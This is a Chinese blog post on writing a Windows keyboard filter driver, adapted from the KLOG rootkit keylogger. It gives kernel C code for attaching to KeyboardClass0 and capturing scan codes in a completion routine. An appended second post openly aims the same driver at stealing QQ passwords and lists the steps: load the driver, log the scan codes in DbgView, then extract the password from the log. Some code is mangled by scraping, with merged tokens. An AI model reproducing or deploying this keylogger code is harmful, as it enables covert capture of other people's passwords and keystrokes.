驱动笔记15 - 键盘过滤驱动学习笔记

键盘过滤驱动对于分层驱动的学习是一个很好的例子,它相对文件过滤驱动来说较为简单,也更容易理解。

   并不是所有的驱动都需要直接访问硬件的,事实上几乎所有的硬件设备都存在着驱动程序链,最底层的驱动程序可以直接访问硬件,并对上层提供透明服务,最上层的驱动程序只要对接收到的数据进行过滤、格式化等处理即可,这样大大减少了开发的难度。

我这次学习的对象是KLOG,但我将它的代码进行了精简,这样使得它的工作流程更容易被看清楚。

首先看DriverEntry例程:

NTSTATUS
DriverEntry(
      INPDRIVER_OBJECT      pDriverObject,
      INPUNICODE_STRING      RegistryPath
)
{
      int                      i = 0;
      PDEVICE_EXTENSION      pKeyboardDeviceExtension ;

      for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION;i ++)
      {
              pDriverObject ->MajorFunction[i] = DispatchPassDown;
      }

      pDriverObject ->MajorFunction[IRP_MJ_READ]      = DispatchRead;
      pDriverObject ->DriverUnload                      = Unload;
     
      // 开启记录
      HookKeyboard(pDriverObject);

      // 设置DEVICE_EXTERSION
      pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDriverObject ->DeviceObject ->DeviceExtension;

      returnSTATUS_SUCCESS;
}

   很容易看懂,我就不多说了,其中DispatchPassDown仅仅将接收到的IRP转发给下一层设备,代码就不贴了。下面我们先来看其中的重头戏之一:HookKeyboard。

NTSTATUS
HookKeyboard(
      INPDRIVER_OBJECT      pDriverObject
)
{
      NTSTATUS              status;
      PDEVICE_OBJECT      pKeyboardDeviceObject;
      PDEVICE_EXTENSION      pKeyboardDeviceExtension ;
      STRING                      ntNameString;
      UNICODE_STRING      uKeyboardDeviceName;
      CCHAR                      ntNameBuffer[ 64] = " \\ Device \\ KeyboardClass0";

      // 创建设备
      status =IoCreateDevice(pDriverObject,
                              sizeof(DEVICE_EXTENSION),
                              NULL,
                              FILE_DEVICE_KEYBOARD,
                              0,
                              TRUE,
                              &pKeyboardDeviceObject);
      if ( !NT_SUCCESS(status))
      {
              returnstatus;
      }

      pKeyboardDeviceObject ->Flags |= (DO_BUFFERED_IO |DO_POWER_PAGABLE);
      pKeyboardDeviceObject ->Flags &= ~DO_DEVICE_INITIALIZING;

      // 设置DEVICE_EXTENSION
      RtlZeroMemory(pKeyboardDeviceObject ->DeviceExtension, sizeof(DEVICE_EXTENSION));
      pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject ->DeviceExtension;

      // 绑定到设备
      RtlInitAnsiString( &ntNameString,ntNameBuffer);
      RtlAnsiStringToUnicodeSt ring( &uKeyboardDeviceName, &ntNameString,TRUE);
      IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName, &pKeyboardDeviceExtension ->pKeyboardDevice);
      RtlFreeUnicodeString( &uKeyboardDeviceName);

      returnSTATUS_SUCCESS;
}

   首先IoCreateDevice不用多说了,在任何一个驱动程序中都会见到,关键是下面的Flags设置和IoAttachDevice。我们创建了设备之后,需要将其加入到键盘的驱动程序链中,这个具体转化为代码就是将我们的设备Attatch到"\\Device\\KeyboardClass0"中(当然不一定非得是这个设备,挂这个设备的主要目的是为了能够动态卸载我们的驱动,因此不能挂接更上层的设备)。

   为了得到按键操作的信息,我们发送一个IRP_MJ_READ到驱动的设备栈,由于此时还不一定有按键产生,于是驱动程序把这个IRP标记为pending状态,一旦有按键产生,则马上把这个IRP完成,所以我们需要在IRP_MJ_READ的处理例程中设置一个完成例程。(因为我们工作的异步模式下)

NTSTATUS
DispatchRead(
      INPDEVICE_OBJECT      pDeviceObject,
      INPIRP              pIrp
)
{
      PIO_STACK_LOCATION      currentIrpStack;
      PIO_STACK_LOCATION      nextIrpStack;


      currentIrpStack =IoGetCurrentIrpStackLoca tion(pIrp);
      nextIrpStack =IoGetNextIrpStackLocatio n(pIrp);
      *nextIrpStack = *currentIrpStack;
      // 设置完成例程
      IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE,TRUE, TRUE);
     
      returnIoCallDriver(((PDEVICE_EXTENSION)pDeviceObject ->DeviceExtension) ->pKeyboardDevice,pIrp);
}

在这个完成例程OnReadCompletion中,我们就可以获取按键的信息了,代码如下所示:
NTSTATUS
OnReadCompletion(
      INPDEVICE_OBJECT      pDeviceObject,
      INPIRP                              pIrp,
      INPVOID                      Context
)
{
      PDEVICE_EXTENSION              pKeyboardDeviceExtension ;
      PKEYBOARD_INPUT_DATA              keys;
      int                              numKeys;
      int                              i = 0;

      pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject ->DeviceExtension;

      if (pIrp ->IoStatus.Status == STATUS_SUCCESS)
      {
              keys =(PKEYBOARD_INPUT_DATA)pIrp ->AssociatedIrp.SystemBuffer;
              numKeys = pIrp ->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

              for(i = 0; i < numKeys; i ++)
              {
                      DbgPrint( "ScanCode:%x \n ",keys[i].MakeCode);
                     
      //       if(keys[i].Flags == KEY_BREAK)
      //           DbgPrint("%s\n", "KeyUp");       
      //       if(keys[i].Flags == KEY_MAKE)
      //           DbgPrint("%s\n", "Key Down");
              }
      }
     
      if(pIrp ->PendingReturned)
      {
              IoMarkIrpPending(pIrp);
      }

      return pIrp ->IoStatus.Status;
}

   不过这里我们获取到是只是按键的扫描码,如果想知道直观的按键信息,还需要写个函数进行处理,这里我就给省略了。虽然这个程序比起rootkit.com上面那个KLOG简单的多,使得它的流程更加清楚,也更容易理解,但它不实用。

   为什么呢?因为实用的键盘记录器应该能够将按键信息保存起来,这里我们只能通过DbgView来看到按键信息。但由于这个完成例程的IRQL为DISPATCH,不能进行文件操作,因此在KLOG的代码中是首先创建一个线程,然后在线程中进行保存操作,因为线程函数工作在PASSIVE,允许处理文件。

   一旦涉及到线程和文件操作就变得麻烦多了,关于这点可以通过KLOG的代码看出来,其实也不难,就是需要考虑的东西较多而已。

   最后说一下,这个程序还有一个BUG,就是在卸载的时候再有按键就会BSOD,因为在我们卸载驱动的时候,还有很多IRP处于pending状态,当我们被卸载后,再有按键操作,IRP返回后却找不到对应的驱动,就会造成蓝屏的后果。

关于这个问题,网上有很多文章都介绍了介绍的办法,我也没有实验过,就不废话了。

http://blog.csdn.net/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.csdn.net/xiaoxiao108/article/details/7563159
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值